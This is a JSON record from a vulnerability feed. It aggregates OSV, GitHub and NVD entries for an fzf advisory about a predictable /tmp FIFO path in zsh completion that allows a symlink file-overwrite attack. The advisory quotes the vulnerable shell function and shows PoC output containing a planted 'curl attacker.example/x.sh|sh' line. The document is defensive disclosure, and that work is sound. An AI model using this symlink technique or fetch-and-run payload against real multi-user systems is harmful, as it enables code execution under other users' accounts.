{"vuln_id":"GHSA-7rj6-7pqx-v7rm","aliases":["CVE-2026-121717"],"description":"fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)","published_at":"2026-11-19T22:43:12Z","modified_at":"2026-11-19T23:00:36.647073Z","first_seen_at":"2026-11-21T19:15:19.422464Z","severity":"medium","severity_source":"ghsa","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N","cwe":["CWE-59","CWE-377"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-7rj6-7pqx-v7rm"},"matched_alias":null,"items":[{"id":10971,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-7rj6-7pqx-v7rm: fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)","summary":"fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)\n\n### Summary\n\n`shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.\n\n### Reporter / Credits:\nSai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/\n\n### Details\n\n`shell/completion.zsh` (tag 0.74.4, commit a140afeb):\n\n- line ~246: `fifo=\"${TMPDIR:-/tmp}/fzf-complete-fifo-$$\"` — predictable name; shell PIDs are low/guessable and a wide range can be pre-created.\n- lines 216-220, verbatim:\n\n```zsh\n_fzf_feed_fifo() {\ncommand rm -f \"$1\" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored\nmkfifo \"$1\" # fails (EEXIST) — exit status unchecked\ncat <&0 > \"$1\" &| # follows the attacker symlink / blocks on the attacker FIFO\n}\n```\n\nAttack modes (no race required):\n\n1. **File clobber → code execution:** `> \"$1\"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.\n2. **Information leak / hang:** a pre-created plain FIFO makes the victim's `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names).\n\n### PoC\n\nMechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `&|` → `&`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry):\n\n```console\nrm: cannot remove '.../fzf-complete-fifo-4242': Permission denied\nmkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists\n\n=== victim file AFTER the victim's completion ran ===\nevil-process; curl attacker.example/x.sh|sh; :\nother-stream-data\n```\n\nThe file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).\n\n### Impact\n\nLocal (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **\n`) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`'s exit status, removing the rm-then-mkfifo TOCTOU entirely.\n\nAffected: Go:github.com/junegunn/fzf\n\nFixed in: 0.74.5\n\nReferences:\nhttps://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-121717\nhttps://github.com/junegunn/fzf/commit/cbc11e4d9591e1fa47fb9d8711b18b74d625746e\nhttps://github.com/junegunn/fzf\nhttps://github.com/junegunn/fzf/releases/tag/v0.74.5","url":"https://osv.dev/vulnerability/GHSA-7rj6-7pqx-v7rm","published_at":"2026-11-19T22:43:12Z","updated_at":"2026-11-19T23:00:36.647073Z","fetched_at":"2026-11-21T19:15:55.946339Z","severity":"medium","cvss_score":5.0,"epss":0.00172,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/junegunn/fzf","vuln_id":"CVE-2026-121717","vuln_ids":["CVE-2026-121717","GHSA-7RJ6-7PQX-V7RM"],"tags":["osv","go","fix-available"],"cluster_id":2194,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10971","html":"https://vulnwatch.ve1ve2.com/item/10971"}},{"id":2380,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-7rj6-7pqx-v7rm / CVE-2026-121717: fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)","summary":"fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)\n\n### Summary\n\n`shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.\n\n### Reporter / Credits:\nSai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/\n\n### Details\n\n`shell/completion.zsh` (tag 0.74.4, commit a140afeb):\n\n- line ~246: `fifo=\"${TMPDIR:-/tmp}/fzf-complete-fifo-$$\"` — predictable name; shell PIDs are low/guessable and a wide range can be pre-created.\n- lines 216-220, verbatim:\n\n```zsh\n_fzf_feed_fifo() {\ncommand rm -f \"$1\" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored\nmkfifo \"$1\" # fails (EEXIST) — exit status unchecked\ncat <&0 > \"$1\" &| # follows the attacker symlink / blocks on the attacker FIFO\n}\n```\n\nAttack modes (no race required):\n\n1. **File clobber → code execution:** `> \"$1\"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.\n2. **Information leak / hang:** a pre-created plain FIFO makes the victim's `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names).\n\n### PoC\n\nMechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `&|` → `&`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry):\n\n```console\nrm: cannot remove '.../fzf-complete-fifo-4242': Permission denied\nmkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists\n\n=== victim file AFTER the victim's completion ran ===\nevil-process; curl attacker.example/x.sh|sh; :\nother-stream-data\n```\n\nThe file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).\n\n### Impact\n\nLocal (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **\n`) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`'s exit status, removing the rm-then-mkfifo TOCTOU entirely.\n\nAffected packages: go:github.com/junegunn/fzf\nPatched: github.com/junegunn/fzf 0.74.5","url":"https://github.com/advisories/GHSA-7rj6-7pqx-v7rm","published_at":"2026-11-19T22:43:12Z","updated_at":"2026-11-19T22:43:12Z","fetched_at":"2026-11-21T19:15:18.416793Z","severity":"medium","cvss_score":5.0,"epss":0.00172,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/junegunn/fzf","vuln_id":"CVE-2026-121717","vuln_ids":["CVE-2026-121717","GHSA-7RJ6-7PQX-V7RM"],"tags":["ghsa","go","CWE-59","CWE-377"],"cluster_id":2194,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2380","html":"https://vulnwatch.ve1ve2.com/item/2380"}},{"id":6624,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-121717: fzf is a command-line fuzzy finder. Prior to 0.74.5, trigger-driven zsh completion in shell/completion.zsh uses _fzf_feed_fifo to create a FIFO at the predicta…","summary":"fzf is a command-line fuzzy finder. Prior to 0.74.5, trigger-driven zsh completion in shell/completion.zsh uses _fzf_feed_fifo to create a FIFO at the predictable shared path ${TMPDIR:-/tmp}/fzf-complete-fifo-$$ and continues after removal or creation errors. On a multi-user host, a local attacker can pre-create that path as a symlink so the victim's completion stream overwrites a victim-writable file, potentially enabling code execution when that file is later sourced. A pre-created FIFO can instead disclose a bounded stream of completion candidates or block completion. On default modern hosts, fs.protected_symlinks blocks the overwrite variant, and protected_fifos and protected_regular further limit the FIFO disclosure and blocking variants, so exploitation depends on the relevant kernel protections being disabled and on the victim invoking the affected completion. This issue is fixed in version 0.74.5.\n\nReferences:\nhttps://github.com/junegunn/fzf/commit/cbc11e4d9591e1fa47fb9d8711b18b74d625746e\nhttps://github.com/junegunn/fzf/releases/tag/v0.74.5\nhttps://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm\nhttps://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121717","published_at":"2026-11-17T20:17:36.903000Z","updated_at":"2026-11-18T17:17:30.667000Z","fetched_at":"2026-11-21T19:15:31.482424Z","severity":"medium","cvss_score":5.0,"epss":0.00172,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-121717","vuln_ids":["CVE-2026-121717","GHSA-7RJ6-7PQX-V7RM"],"tags":["CWE-59","CWE-377"],"cluster_id":2195,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/6624","html":"https://vulnwatch.ve1ve2.com/item/6624"}}]}